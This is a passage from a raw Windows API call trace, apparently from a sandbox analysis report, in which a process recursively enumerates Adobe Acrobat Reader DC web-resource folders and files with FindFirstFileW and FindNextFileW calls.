ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.013] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0262.014] GetProcessHeap () returned 0xc10000 [0262.014] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.014] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0262.014] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.014] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x729, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.014] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x729, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.014] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0262.015] GetProcessHeap () returned 0xc10000 [0262.015] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.015] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0262.015] GetProcessHeap () returned 0xc10000 [0262.015] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0262.015] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.015] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.016] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.016] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0262.016] GetProcessHeap () returned 0xc10000 [0262.016] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.016] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0262.016] GetProcessHeap () returned 0xc10000 [0262.016] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.016] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0262.017] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.017] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x556, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.017] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x556, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.017] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0262.017] GetProcessHeap () returned 0xc10000 [0262.017] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.017] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0262.017] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0262.018] GetProcessHeap () returned 0xc10000 [0262.018] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0262.018] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0262.018] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0262.018] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0262.018] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0262.018] GetProcessHeap () returned 0xc10000 [0262.018] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0262.020] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0262.020] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0262.020] GetProcessHeap () returned 0xc10000 [0262.020] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0262.020] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="send-for-sign", cAlternateFileName="SEND-F~1")) returned 1 [0262.020] GetProcessHeap () returned 0xc10000 [0262.020] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0262.021] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0262.022] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.022] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0262.022] GetProcessHeap () returned 0xc10000 [0262.022] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0262.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0262.023] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.023] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0262.023] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x62aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0262.023] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x62aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0262.023] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0262.024] GetProcessHeap () returned 0xc10000 [0262.024] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0262.024] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0262.024] GetProcessHeap () returned 0xc10000 [0262.024] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0262.024] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0262.027] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.027] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xca1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_secured.png", cAlternateFileName="CLOUD_~2.PNG")) returned 1 [0262.027] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_secured_lg.png", cAlternateFileName="CLOUD_~1.PNG")) returned 1 [0262.027] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x239e, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons.png", cAlternateFileName="CORE_I~1.PNG")) returned 1 [0262.027] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1880, dwReserved0=0x0, dwReserved1=0x0, cFileName="faf_icons.png", cAlternateFileName="FAF_IC~1.PNG")) returned 1 [0262.028] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress.gif", cAlternateFileName="")) returned 1 [0262.028] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0262.028] GetProcessHeap () returned 0xc10000 [0262.028] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0262.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0262.030] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, 